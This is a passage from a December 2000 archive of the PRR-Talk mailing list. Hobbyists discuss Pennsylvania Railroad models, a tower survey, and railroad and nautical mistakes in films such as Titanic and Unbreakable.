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From: "Robert Schoenberg" <robs@internexus.net>

Subject: [PRR] RE: [PRR-Modeling] N6B Cabin

Date: Mon, 4 Dec 2000 01:49:51 -0500



Hi all,



I don't have the answer but the diagram is on my site and might help someone

else

determine the answer...

http://prr.railfan.net/diagrams/PRRdiagrams.html?diag=n6a_n6b-fp.gif&sel=cbn

&sz=sm



Also, I have a ton of these diagrams online (all types of PRR equipment) but

am missing

quite a few.  If you have any of these in your collection that I may not

have online,

please drop me a line!



Rob

http://prr.railfan.net

-----Original Message-----

From: mittner@webtv.net [mailto:mittner@webtv.net]

Sent: Sunday, December 03, 2000 3:31 PM

To: PRR-Talk@dsop.com; PRR-Modeling@egroups.com

Subject: [PRR-Modeling] N6B Cabin





List,



    I was recently given a tracing (photocopy)  of a PRR N6b Cabin

Interrior diagram. I also have an O Scale N6b Cabin that I built years

ago with the intent on installing an interrior. I built the N6B as a

Center Cupola type. The tracing I have does not say which N6b this is

for, Center or Offset Cupola. The tracing number is E-73624. Looking at

the floor plan I still can not tell which this tracing is for. Is there

any info out there which will tell me exactly the N6b this tracing is

for? Thanks in advance...Gary









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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Date: Mon, 4 Dec 2000 08:09:11 -0600

From: "Bruce F. Smith V.M.D., Ph.D." <smithbf@mail.auburn.edu>

Subject: Re: [PRR] GG1 #4800



>Pictures show an external roof mounted cable connecting the pantographs on

>#4800.  Was this moved internally on subsequent G's or eliminated?



Well, I don't actually know but it certainly isn't there on the production

GG-1s!  But you've hit upon one of those little detail that "make" a model

of #4800 right (along wiht rivets of course <G>)



Happy Rails

Bruce



Bruce F. Smith V.M.D., Ph.D.

Scott-Ritchey Research Center

334-844-5587, 334-844-5850 (fax)

http://www.vetmed.auburn.edu/~smithbf/



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From: PKMac1@aol.com

Date: Mon, 4 Dec 2000 09:38:22 EST

Subject: Re: [PRR] N Scale Tower Survey



Jerry. A little late but hope you consider these also.



JACKS ( 40s- 50's era )

ALTO ( 40's - 50's era )

KN-Kittanning Point ( the beautiful stone work )

WYE (40's -50's era)



Pat McKinney



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Date: Mon, 4 Dec 2000 09:09:05 -0600

From: "Bruce F. Smith V.M.D., Ph.D." <smithbf@mail.auburn.edu>

Subject: [PRR] GG-1s - Daddy's little girl



Hi All,



Speaking of GG-1s, my 2 1/2 year old daughter correctly identified one

yesterday without any prompting.  She wasn't feeling well so she asked to

curl up in my lap on the sofa and watch "train movies".  She picked one out

in "Pennsy's Racetrack" right away - That's daddy's little girl!!!!



Sorry, but I had to brag a little!



Happy Rails

Bruce



Bruce F. Smith V.M.D., Ph.D.

Scott-Ritchey Research Center

334-844-5587, 334-844-5850 (fax)

http://www.vetmed.auburn.edu/~smithbf/



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Date: Mon, 04 Dec 2000 11:09:39 -0500

Subject: Re: [PRR] GG-1s - Daddy's little girl

From: Jerry Britton <jerry@pennsyrr.com>



On 12/4/00 10:09 AM, Bruce F. Smith V.M.D., Ph.D. (smithbf@mail.auburn.edu)

wrote:



> Speaking of GG-1s, my 2 1/2 year old daughter correctly identified one

> yesterday without any prompting.  She wasn't feeling well so she asked to

> curl up in my lap on the sofa and watch "train movies".  She picked one out

> in "Pennsy's Racetrack" right away - That's daddy's little girl!!!!

> 

I've got the opposite problem...while Andrew (3) loves to watch my PRR

tapes, his "Grammy" gave him a tape called "There Goes A Train". It's good

for young kids, as it teaches them about the components of a train, the

different types of locos and cars, etc. Too bad it's all SF and western

roads.



Unfortunately, he watches it 2-3 times a day, driving my wife and I nuts. To

my wife's amazement, last night I suggested the title to its sequel: "There

Goes Another F*&%ing Train"!

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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Date: Mon, 4 Dec 2000 12:51:10 -0800 (PST)

From: Nevin Byers <nevin27@excite.com>

Subject: [PRR] New to List



Hello and Greetings,



My name is Nevin Byers and I've recently joined the PRR-Talk email list. I

joined because I have an intrest in the late great Pennsylvania Railroad. I

model the East Broad Top Railroad in HOn3. The East Broad Top Railroad

interchanged with the PRR in Mt. Union, PA

and I plan to model this scene.



I grown up with Conrail as a kid and when I got old enough to search it's

history. I was most intrested in it's succesor railroads especially the PRR

because of it's wide variety of motive power. The K-4 to the GG1.



Anyway, I just wanted to introduce myself. Happy Railroading!



Nevin Byers

The East Broad Top Homepage - http://www.trainweb.org/ebtrr











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Date: Mon, 04 Dec 2000 17:05:37 -0500

Subject: [PRR] Results of the N-Scale Tower Survey

From: Jerry Britton <jerry@pennsyrr.com>



On a vendor's behalf, I surveyed the above two lists for each N scale

reader's "Top Four Towers" as candidates for a run of commercial models.

There were 16 responses as follows:



(6) ALTO        Altoona

(5) MG          Altoona

(4) ROCKVILLE   Rockville

(3) MO          Cresson

(2) VIEW        Duncannon, Pa.

(2) WYE

(2) Overbrook

(2) generic wood bay window tower

(1) BANKS       Marysville, Pa.

(1) AR          Gallitzin

(1) LEMO        Lemoyne

(1) SLOPE       Altoona

(1) ?           Newport, Pa. (interchange with Newport & Shermans Valley

(1) Paoli

(1) Bryn Mawr

(1) ZOO

(1) AO

(1) SO

(1) C

(1) Lock Haven

(1) generic octagonal tower

(1) HUNT

(1) JACKS

(1) KN          Kittanning Point



---------------------------------------------------------------------

Jerry Britton, SPF      jerry@pennsyrr.com     Member, PRRT&HS



"Merchandise Service", a division of Desktop Solutions of

Pennsylvania, Inc., is a reseller of model railroad and railroadiana

products. "MS" is also host to the web site "Keystone Crossings",

the domain PENNSYRR.COM, and the mailing lists "PRR-Talk", "Conrail-

Talk", and "Reading-Talk". When you purchase through "MS", you are

providing financial support to these Internet endeavors. Please visit

our eCommerce web site at http://merchandise.pennsyrr.com.

------------------------------Thank you!-----------------------------





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From: "Bill Lane" <billlane@snip.net>

Subject: [PRR] Unbreakable

Date: Tue, 5 Dec 2000 07:06:14 -0500



Hi All,



I saw the movie "Unbreakable" this weekend, which was filmed in

Philadelphia. There are a few railroad references and scenes. The High Line

is very visible in the background of about 4 minutes of the film. One of the

opening scenes shows Bruce Willis on a train leaving Trenton station. They

also show the derailment site of the "Eastrail" train that he was on. I am

almost positive the news scene after that said that the "eastbound Eastrail

train derailed". Well if you are going from New York to Philadelphia via

Trenton, you will not be traveling east. The doctor in the hospital also

grilled him as to where he was sitting on the train. "Were you sitting in

the passenger car" was asked numerous times. Where else would ANYONE sit on

a train besides a passenger car? Hollywood could correct such errors by

asking a well-versed 10-year-old rail fan.





 My girlfriend liked it. I thought it was O.K. Perhaps you would like to see

it for yourself.



Thanks

Bill





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Date: Tue, 05 Dec 2000 08:16:47 -0500

From: Andy Miller <asmiller@mitre.org>

Subject: Re: [PRR] Unbreakable



Of course, its possible that Hollywood gave an accurate rendition of an

ignorant doctor whose 7 year old gladly mixes freight and passenger cars

together on his Lionel train set ;-)



Regards,



Andy Miller

asmiller@mitre.org



===================================================



Bill Lane wrote:

> 

> Hi All,

> 

> I saw the movie "Unbreakable" this weekend, which was filmed in

> Philadelphia. There are a few railroad references and scenes. The High Line

> is very visible in the background of about 4 minutes of the film. One of the

> opening scenes shows Bruce Willis on a train leaving Trenton station. They

> also show the derailment site of the "Eastrail" train that he was on. I am

> almost positive the news scene after that said that the "eastbound Eastrail

> train derailed". Well if you are going from New York to Philadelphia via

> Trenton, you will not be traveling east. The doctor in the hospital also

> grilled him as to where he was sitting on the train. "Were you sitting in

> the passenger car" was asked numerous times. Where else would ANYONE sit on

> a train besides a passenger car? Hollywood could correct such errors by

> asking a well-versed 10-year-old rail fan.

> 

>  My girlfriend liked it. I thought it was O.K. Perhaps you would like to see

> it for yourself.

> 

> Thanks

> Bill





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From: bobsin@nac.net

Date: Tue, 5 Dec 2000 08:35:43 -0500

Subject: Re: [PRR] Unbreakable



Along the lines of movie gaffes, and apologies if this was discussed 

in the past, but in "Fargo" there is a shot in a junkyard which is 

supposed to be in Minnesota, I think.



In the background, an AEM-7 sails by with Amfleet in tow; it looks 

to be somewhere in the Jersey Meadows on the (Hudson-New 

York) High Line.  Sure enough, in the credits there is mention of 

New Jersey -- and none of the movie takes place outside the 

Midwest!  I guess when they need a junkyard, they go to the 

source!



John Bobsin



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Date: Tue, 05 Dec 2000 08:48:11 -0500

Subject: Re: [PRR] Unbreakable/Titanic

From: Jerry Britton <jerry@pennsyrr.com>



On 12/5/00 8:35 AM, bobsin@nac.net (bobsin@nac.net) wrote:



> Along the lines of movie gaffes, and apologies if this was discussed

> in the past, but in "Fargo" there is a shot in a junkyard which is

> supposed to be in Minnesota, I think.

> 

The other night I was flipping channels and saw the scene in "Titanic" where

they hit the iceberg. Now, I've seen the movie a half dozen times and I've

just noticed this: when they see the iceberg, the order is given to turn

"hard to starboard" (that's to the right for landlubbers -- I was pilot

certified by the Coast Guard at age 16 on the Chesapeake Bay). But history

records, and the movie accurately reflects, that they turn "hard to port"

(left)!



Now, the argument may be made that the "starboard" order was given because

there was also conjecture that the ship was ordered into "reverse". A turn

to starboard in reverse might be more effective than keeping the rudder

straight or to port. However, the quickest left turn with a multi-screw boat

would be to keep the starboard screws in forward and the port screws in

reverse. A boat not underway can turn on a dime in this fashion and the

captain of the Titanic would no doubt have exercised this maneuver, but he

wasn't on the bridge at the time of the impact!



Oh, yeah, to make all of this legit: the PRR advertised connections with the

arrival of the Titanic in New York.  ;-)

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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From: "Chany, Christopher" <cpc1@westchestergov.com>

Subject: RE: [PRR] Unbreakable (Fargo)

Date: Tue, 5 Dec 2000 08:51:27 -0500 



Listers,



The scrapyard is most likely the Naporano Scrap yard in Newark.  It can be

seen from the Turnpike.  I remember years ago driving down the Turnpike and

seeing GG1s awaiting the torch. (obligatory PRR content)  It was always

amazing to see what was parked there.





Chris Chany



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From: "Bill Daniels" <billd@gci-net.com>

Subject: Re: [PRR] Unbreakable/Titanic

Date: Tue, 5 Dec 2000 07:45:55 -0700



Jerry and all,



One minor correction to your post, and that is that the Titanic is NOT a

boat. By strict definition (which means that there is one exception) a boat

is a vessel that is small enough to be carried on the deck of a larger ship.

Anyone out there know what that exception is, and for extra points why this

particular class of vessels are properly refereed to as "boats"?...yeah, I

know there is no PRR content so far but like most former sailors I like

accuracy. Actually there is a railroad connection to this, which will be

revealed later. ;-)



Bill Daniels



p.s. to Ivan...I know you know the answer, so let someone else have a crack

at this.









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From: "Chany, Christopher" <cpc1@westchestergov.com>

Subject: RE: [PRR] Unbreakable/Titanic

Date: Tue, 5 Dec 2000 09:58:10 -0500 



List,



Submarines are called boats.  Is the reason because of the German name for

subs.  (Obligatory PRR content)  A U-boat brought the German saboteurs to

America to blow up Horseshoe curve.





Chris Chany



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From: mittner@webtv.net (Gary Mittner)

Date: Tue, 5 Dec 2000 09:57:15 -0500 (EST)

Subject: Re: [PRR] Unbreakable/Titanic



Bill,



     How about PT-Boats? Big enough to be a ship but ever called one.

Which may or may not have been built by Alco which built PRR Diesel

Locos....Gary









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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Date: Tue, 05 Dec 2000 10:09:19 -0500

Subject: [PRR] The "PRR Virtual Layout"

From: Jerry Britton <jerry@pennsyrr.com>



I would have preferred to delay announcement of this until the initial

version was done, but its actual construction involved placing links to it

from other pages. Therefore, folks are gonna trip over it anyway!



I've created something new on "Keystone Crossings" which may actually be

something new in all of model railroading: I've linked multiple model

railroads together into a "PRR Virtual Layout"!



By color coding divisional maps, one may quickly see what areas of the PRR

are modeled and click links to visit their layout's web site. I think it's a

cool concept and I hope it grows over the coming years.



The main site provides more explanation:



    http://kc.pennsyrr.com/virtual_prr/index.html



The member layouts have graphic links which contains some anomalous code

which I will fix this evening.



There are a few division maps yet to be posted. However, only the missing

Renovo Division has an active participant thus far.



The division maps will eventually use HTML "image maps" so you can actually

click on a segment on the map and be transferred to the appropriate layout

web site. For now, one clicks on the link in the legend shown on each

division map.

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

"Merchandise Service" - Model railroad products

    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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From: bobsin@nac.net

Date: Tue, 5 Dec 2000 10:54:20 -0500

Subject: Re: [PRR] Unbreakable/Titanic/Fargo



Miscellaney on this vital thread:



-- The German submarine saboteurs reportedly landed on Long 

Island and traveled to NYC on that famous PRR subsidiary, the 

Long Island Rail Road.  (I think they boarded at Amagansett.)



-- If boats can be placed on a larger vessel, I guess GE's U-Boats 

qualify.  At least the export models.



-- Naporano is close to the Passaic & Harsimus Branch but not I 

think in sight from the High Line.  Meatballs on the P&H would be 

most unlikely since the wires came down.



-- Perhaps the left/right port/starboard confusion on the Titanic 

came from the fact that they built only one side of the ship, and 

some of the movie was shot with the film "flopped" to make it look 

like the other side (the actors wore mirror-image uniforms!).



John Bobsin



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Date: Tue, 05 Dec 2000 10:04:00 -0600

From: Jeff Toreki <jtoreki@mail.utexas.edu>

Subject: Re: [PRR] Unbreakable/Titanic



Aren't the ore freighters on the Great Lakes properly referred to as boats? 

I think its use came from the 19th century term "pig-boats" (from hauling

pig iron, I assume).



Jeff   



At 07:45 AM 12/05/2000 -0700, Bill Daniels wrote:

>Jerry and all,

>

>One minor correction to your post, and that is that the Titanic is NOT a

>boat. By strict definition (which means that there is one exception) a boat

>is a vessel that is small enough to be carried on the deck of a larger ship.

>Anyone out there know what that exception is, and for extra points why this

>particular class of vessels are properly refereed to as "boats"?...yeah, I

>know there is no PRR content so far but like most former sailors I like

>accuracy. Actually there is a railroad connection to this, which will be

>revealed later. ;-)

>

>Bill Daniels

>

>p.s. to Ivan...I know you know the answer, so let someone else have a crack

>at this.

>

>

>

>

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From: "Burnley, Charles" <Charles.Burnley@conectiv.com>

Subject: RE: [PRR] Unbreakable/Titanic

Date: Tue, 5 Dec 2000 13:56:12 -0500 



Hi Bill & Ya-all,

Submarines were always refered to as "boats". Possibly from the German

"U-Boat" which was actually Undervasserboot.(spelling???) The tie-in to the

PRR I believe was Fairbanks-Moorse which made the diesel engines (opposed

pistons) for the U.S. Fleet Submarines of WWII, and was used in the 1st

generation of diesel locomotives for the railroad after the war.

Did I win anything??

Buzz

PRRT&HS #271

 



-----Original Message-----

From: mittner@webtv.net [mailto:mittner@webtv.net]

Sent: Tuesday, December 05, 2000 9:57 AM

To: billd@gci-net.com; PRR-Talk@dsop.com

Subject: Re: [PRR] Unbreakable/Titanic





Bill,



     How about PT-Boats? Big enough to be a ship but ever called one.

Which may or may not have been built by Alco which built PRR Diesel

Locos....Gary









Come visit my PRR Pages.... Photos, Models, Historical Items, Art

Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

http://homepages.go.com/~prrk4

..  http://homepages.go.com/~prrg5

and......

http://community.webtv.net/mittner/THEHOMEOFGARY...

http://community.webtv.net/mittner/PENNSYLVANIA





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From: "Gregg Mahlkov" <mahlkov@gtcom.net>

Subject: Fw: [PRR] Unbreakable/Titanic

Date: Tue, 5 Dec 2000 14:23:16 -0500





----- Original Message -----

From: "Gregg Mahlkov" <mahlkov@gtcom.net>

To: "Burnley, Charles" <Charles.Burnley@conectiv.com>

Sent: Tuesday, December 05, 2000 2:21 PM

Subject: Re: [PRR] Unbreakable/Titanic





> List:

>

> It's "unterseeboot" or "under the sea boat" in German. It was Baldwin De

La

> Vergne engines used in U.S. submarines and many PRR Baldwin switchers.

> Because these engines had to operate underwater (using a snorkel) in

wartime

> hostile conditions they were highly reliable and therefore liked by PRR

> maintenance people.

>

> Re: the exception. I don't think anything that floated exclusively in the

> Great Lakes was ever called a ship.

>

> Gregg Mahlkov

>

> ----- Original Message -----

> From: "Burnley, Charles" <Charles.Burnley@conectiv.com>

> To: "'PRR-TALK@DSOP.COM'" <PRR-TALK@dsop.com>

> Sent: Tuesday, December 05, 2000 1:56 PM

> Subject: RE: [PRR] Unbreakable/Titanic

>

>

> > Hi Bill & Ya-all,

> > Submarines were always refered to as "boats". Possibly from the German

> > "U-Boat" which was actually Undervasserboot.(spelling???) The tie-in to

> the

> > PRR I believe was Fairbanks-Moorse which made the diesel engines

(opposed

> > pistons) for the U.S. Fleet Submarines of WWII, and was used in the 1st

> > generation of diesel locomotives for the railroad after the war.

> > Did I win anything??

> > Buzz

> > PRRT&HS #271

> >

> >

> > -----Original Message-----

> > From: mittner@webtv.net [mailto:mittner@webtv.net]

> > Sent: Tuesday, December 05, 2000 9:57 AM

> > To: billd@gci-net.com; PRR-Talk@dsop.com

> > Subject: Re: [PRR] Unbreakable/Titanic

> >

> >

> > Bill,

> >

> >      How about PT-Boats? Big enough to be a ship but ever called one.

> > Which may or may not have been built by Alco which built PRR Diesel

> > Locos....Gary

> >

> >

> >

> >

> > Come visit my PRR Pages.... Photos, Models, Historical Items, Art

> > Work!.......and MY NEW  K4s & G5s WEB PAGES>>>

> > http://homepages.go.com/~prrk4

> > ..  http://homepages.go.com/~prrg5

> > and......

> > http://community.webtv.net/mittner/THEHOMEOFGARY...

> > http://community.webtv.net/mittner/PENNSYLVANIA

> >

> >

> > -----------------------------------------------------------------------

> > Join our SPF database at http://kc.pennsyrr.com/forms/spf/index.html.

> > -----------------------------------------------------------------------

> > For assistance with the list "PRR-Talk", send the message "help" to

> > "listserv@dsop.com".

> >

> > -----------------------------------------------------------------------

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> > -----------------------------------------------------------------------

> > For assistance with the list "PRR-Talk", send the message "help" to

> > "listserv@dsop.com".

> >

>





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From: "m mcm" <radclyff@erie.net>

Subject: [PRR] Starboard is Port

Date: Tue, 5 Dec 2000 15:51:31 -0500



The wheel of ship in 1912 was set up like the ancient tiller, moving it to

starboard turned the

rudder to port.

With the widespread advent of the automobile, the rigging of a wheel was

changed so that turning the wheel to starboard turned the rudder to

starboard.

----- Original Message -----

From: "Jerry Britton" <jerry@pennsyrr.com>

To: <bobsin@nac.net>; <PRR-Talk@dsop.com>

Sent: Tuesday, December 05, 2000 8:48 AM

Subject: Re: [PRR] Unbreakable/Titanic





> On 12/5/00 8:35 AM, bobsin@nac.net (bobsin@nac.net) wrote:

>

> > Along the lines of movie gaffes, and apologies if this was discussed

> > in the past, but in "Fargo" there is a shot in a junkyard which is

> > supposed to be in Minnesota, I think.

> >

> The other night I was flipping channels and saw the scene in "Titanic"

where

> they hit the iceberg. Now, I've seen the movie a half dozen times and I've

> just noticed this: when they see the iceberg, the order is given to turn

> "hard to starboard" (that's to the right for landlubbers -- I was pilot

> certified by the Coast Guard at age 16 on the Chesapeake Bay). But history

> records, and the movie accurately reflects, that they turn "hard to port"

> (left)!

>

> Now, the argument may be made that the "starboard" order was given because

> there was also conjecture that the ship was ordered into "reverse". A turn

> to starboard in reverse might be more effective than keeping the rudder

> straight or to port. However, the quickest left turn with a multi-screw

boat

> would be to keep the starboard screws in forward and the port screws in

> reverse. A boat not underway can turn on a dime in this fashion and the

> captain of the Titanic would no doubt have exercised this maneuver, but he

> wasn't on the bridge at the time of the impact!

>

> Oh, yeah, to make all of this legit: the PRR advertised connections with

the

> arrival of the Titanic in New York.  ;-)

> ---------------------------------------------------------

> Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

> Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

> "Keystone Crossings" - Home of "PRR-Talk"

>     http://kc.pennsyrr.com

> "Merchandise Service" - Model railroad products

>     http://merchandise.pennsyrr.com

> Free serving of railroad web sites

>     http://www.railfancentral.com

>

>

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>





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!!NEXT MESSAGE!!
Date: Tue, 05 Dec 2000 15:50:37 -0500

Subject: [PRR] Re: Starboard is Port

From: Jerry Britton <jerry@pennsyrr.com>



On 12/5/00 3:51 PM, m mcm (radclyff@erie.net) wrote:



> The wheel of ship in 1912 was set up like the ancient tiller, moving it to

> starboard turned the

> rudder to port.

> With the widespread advent of the automobile, the rigging of a wheel was

> changed so that turning the wheel to starboard turned the rudder to

> starboard.



That's even more interesting...



The flaw in the movie is that they VERBALLY say turn to starboard...but they

go to port, as the real ship did. That's not affected by your statement

above.



But, VISUALLY, they show the wheel being turned to port, not starboard, as

you indicate above...so that would be another flaw!!!

---------------------------------------------------------

Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

"Keystone Crossings" - Home of "PRR-Talk"

    http://kc.pennsyrr.com

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    http://merchandise.pennsyrr.com

Free serving of railroad web sites

    http://www.railfancentral.com





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!!NEXT MESSAGE!!
Date: Tue, 5 Dec 2000 16:05:50 -0500 (EST)

From: Will <alcoman@net.bluemoon.net>

Subject: Re: [PRR] Re: Starboard is Port





Umm PRR PRR PRR.....they have boating lists for this kind of stuff



On Tue, 5 Dec 2000, Jerry Britton wrote:



>On 12/5/00 3:51 PM, m mcm (radclyff@erie.net) wrote:

>

>> The wheel of ship in 1912 was set up like the ancient tiller, moving it to

>> starboard turned the

>> rudder to port.

>> With the widespread advent of the automobile, the rigging of a wheel was

>> changed so that turning the wheel to starboard turned the rudder to

>> starboard.

>

>That's even more interesting...

>

>The flaw in the movie is that they VERBALLY say turn to starboard...but they

>go to port, as the real ship did. That's not affected by your statement

>above.

>

>But, VISUALLY, they show the wheel being turned to port, not starboard, as

>you indicate above...so that would be another flaw!!!

>---------------------------------------------------------

>Jerry Britton, SPF   Member, PRRT&HS   jerry@pennsyrr.com

>Pennsylvania Railroad, Eastern Region, 1954 in N Scale.

>"Keystone Crossings" - Home of "PRR-Talk"

>    http://kc.pennsyrr.com

>"Merchandise Service" - Model railroad products

>    http://merchandise.pennsyrr.com

>Free serving of railroad web sites

>    http://www.railfancentral.com

>

>

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>"listserv@dsop.com".

>



Will Semanchuk-Enser  Technical Support & Co-Network Administrator

alcoman@bluemoon.net  www.bluemoon.net - The Blue Moon Internet Corp.

V.90, X2 & K56flex    www.railfan.net  - The Railfan Network  

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!!NEXT MESSAGE!!
Date: Tue, 05 Dec 2000 16:19:55 -0400

From: prrbill <prrbill@Op.Net>

Subject: Re: [PRR] Starboard is Port



m mcm wrote:

> 

> The wheel of ship in 1912 was set up like the ancient tiller, moving it to

> starboard turned the

> rudder to port.

> With the widespread advent of the automobile, the rigging of a wheel was

> changed so that turning the wheel to starboard turned the rudder to

> starboard.

> ----- Original Message -----

> From: "Jerry Britton" <jerry@pennsyrr.com>

> To: <bobsin@nac.net>; <PRR-Talk@dsop.com>

> Sent: Tuesday, December 05, 2000 8:48 AM

> Subject: Re: [PRR] Unbreakable/Titanic

> 

> > On 12/5/00 8:35 AM, bobsin@nac.net (bobsin@nac.net) wrote:

> >

> > > Along the lines of movie gaffes, and apologies if this was discussed

> > > in the past, but in "Fargo" there is a shot in a junkyard which is

> > > supposed to be in Minnesota, I think.

> > >

> > The other night I was flipping channels and saw the scene in "Titanic"

> where

> > they hit the iceberg. Now, I've seen the movie a half dozen times and I've

> > just noticed this: when they see the iceberg, the order is given to turn

> > "hard to starboard" (that's to the right for landlubbers -- I was pilot

> > certified by the Coast Guard at age 16 on the Chesapeake Bay). But history

> > records, and the movie accurately reflects, that they turn "hard to port"

> > (left)!

> >

> > Now, the argument may be made that the "starboard" order was given because

> > there was also conjecture that the ship was ordered into "reverse". A turn

> > to starboard in reverse might be more effective than keeping the rudder

> > straight or to port. However, the quickest left turn with a multi-screw

> boat

> > would be to keep the starboard screws in forward and the port screws in

> > reverse. A boat not underway can turn on a dime in this fashion and the

> > captain of the Titanic would no doubt have exercised this maneuver, but he

> > wasn't on the bridge at the time of the impact!





This was discussed to the Nth degree about a year ago at the

'sci.military.naval' newsgroup.  While not entering into the statement

about the tiller (which really applied to sailing days), what happened

on the Titanic's bridge was first the order for the helmsman to put his

wheel hard a starboard (from the First Officer) and then reverse the

engines.  At the time, this was accepted practice at sea and thought to

be the quickest way to put the ship to port. 



Two things prevented that from happening:  



First, the rudder of the Titanic was too small in area for the size of

the ship to effect such a turn.  Andrews, the ship's designer, had not

compensated for the size, speed or correct placement of the rudder on

such a huge triple screwed ship so even when put hard over, it would

have taken several hundred yards more to miss the berg.



Second, the First Officer (name escapes me) didn't realize that the

speed of the ship versus the amount of time in reversing the engines

would take the ship so close to the berg.



And as to a PRR connection, there was a PRR (IIRC) Vice President,

Thayer, on board.  He went down with the ship.



Bill Morlitz



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!!NEXT MESSAGE!!
Date: Tue, 5 Dec 2000 16:19:12 -0500 (EST)

From: Patrick James Rieger <patrick@alycia.dementia.org>

Subject: Re: [PRR] Re: Starboard is Port



On Tue, 5 Dec 2000, Jerry Britton wrote:



> That's even more interesting...

> 

> The flaw in the movie is that they VERBALLY say turn to starboard...but they

> go to port, as the real ship did. That's not affected by your statement

> above.



The vocabulary was correct. The terminology used had not kept pace with

technology, so what you heard in the movie was correct.



Patrick 



===========================================================================

"...And the sons of Pullman porters, and the sons of engineers, ride their

father's magic carpets made of steel."

-"The City of New Orleans" by Steve Goodman

----------------------------------------------------------------------------

Patrick James Rieger, http://www.dementia.org/~patrick

Volunteer, The Railway Museum of Greater Cincinnati

(formerly Railway Exposition Company), Latonia, Kentucky

PRRT&HS #6713

============================================================================







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From: Eichhorn@aol.com

Date: Tue, 5 Dec 2000 16:31:09 EST

Subject: Re: [PRR] Re: Starboard is Port





--part1_c8.dda3a86.275eb89d_boundary

Content-Type: text/plain; charset="US-ASCII"

Content-Transfer-Encoding: 7bit



In a message dated 12/05/2000 4:00:41 PM Eastern Standard Time, 

jerry@pennsyrr.com writes:





> The flaw in the movie is that they VERBALLY say turn to starboard...but they

> 



Jerry,



Might they have said "larboard", which could have easily been misunderstood 

for "starboard"? :-))



Never did understand why the old sailors used those terms. It gets hard 

enough, when there is any sort of excitement taking place, to get the desired 

results even when the directive is simply "left" or "right".



George



--part1_c8.dda3a86.275eb89d_boundary

Content-Type: text/html; charset="US-ASCII"

Content-Transfer-Encoding: 7bit



<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>In a message dated 12/05/2000 4:00:41 PM Eastern Standard Time, <BR>jerry@pennsyrr.com writes:

<BR>

<BR>

<BR><BLOCKQUOTE TYPE=CITE style="BORDER-LEFT: #0000ff 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: 0px; PADDING-LEFT: 5px">The flaw in the movie is that they VERBALLY say turn to starboard...but they

<BR>go to port</BLOCKQUOTE>

<BR>

<BR>Jerry,

<BR>

<BR>Might they have said "larboard", which could have easily been misunderstood <BR>for "starboard"? :-))

<BR>

<BR>Never did understand why the old sailors used those terms. It gets hard <BR>enough, when there is any sort of excitement taking place, to get the desired <BR>results even when the directive is simply "left" or "right".

<BR>

<BR>George</FONT></HTML>



--part1_c8.dda3a86.275eb89d_boundary--



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From: K-4sDRIVER@webtv.net (Mark Lehman)

Date: Tue, 5 Dec 2000 17:38:39 -0500 (EST)

Subject: Re: [PRR] Starboard or steerboard.



 The word starboard comes from the word steerboard. Originally on

ancient ships the rudder or steerboard as it was called was located on

the right side just aft of midships. It was not located aft on the

centerline of the keel.  Anyone know how port got its name? I didn't

know the Pennsy had sail powered water equipment.





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!!NEXT MESSAGE!!
From: "Bill Daniels" <billd@gci-net.com>

Subject: Re: [PRR] Unbreakable/Titanic

Date: Tue, 5 Dec 2000 19:20:36 -0700



Ok...as some of you have received a reply from me (and I am getting tired of

sending everyone a separate message...I spend 8 hours a day slaving over a

hot computer and when I get home...;-).

American submarines are always refereed to as "boats". The tradition started

way back in the early days when subs were actually small enough to be

carried on larger tenders. The nickname stuck, and even today with 600'+

monsters out there they are still "boats".



One of the guys reminded me that the Great Lakes vessels are also boats

(embarrassing since I grew up in Detroit, and should know better!) and that

is also true.



As far as I know the only subs that are properly refereed to as boats are

American subs, and I know of no other nation that subscribes to that

tradition, even the Germans (whose U-boat was a contradiction of

"Undterseeboaten" (not speaking German, I hope I got it right).



Of course, the common usage of FM diesels in the boats is a tie-in

(interestingly enough EMD diesels were not well thought of in the Navy, due

to a tendency to burn valves). The development of reliable diesels for

submarine service led the way for their development in locomotive service.

The electric kitchen was another submarine development that also found it's

way into railroad service as well.



Bill Daniels (former MM-2/SS)

Tucson, AZ





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!!NEXT MESSAGE!!
From: "Graeme Nitz" <prr@unite.com.au>

Subject: Re: [PRR] Unbreakable/Titanic

Date: Wed, 6 Dec 2000 13:38:05 +1100



Listers,

Isn't it true that the German U-Boats were more properly identified as

"submersibles" rather than submarines?

Also a friend in the "Know" (ex-Navy) tells me the word "boat" is used for

anything shorter than 100 feet! No matter what it is used for or how

carried.



Whats this has got to do with PRR I don't know but what the heck!!



Graeme Nitz

PRRT&HS Member #1313

prr@unite.com.au

An Aussie "Slobbering Pennsy Freak"

With a touch of Reading.





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!!NEXT MESSAGE!!
From: bobsin@nac.net

Date: Tue, 5 Dec 2000 23:51:33 -0500

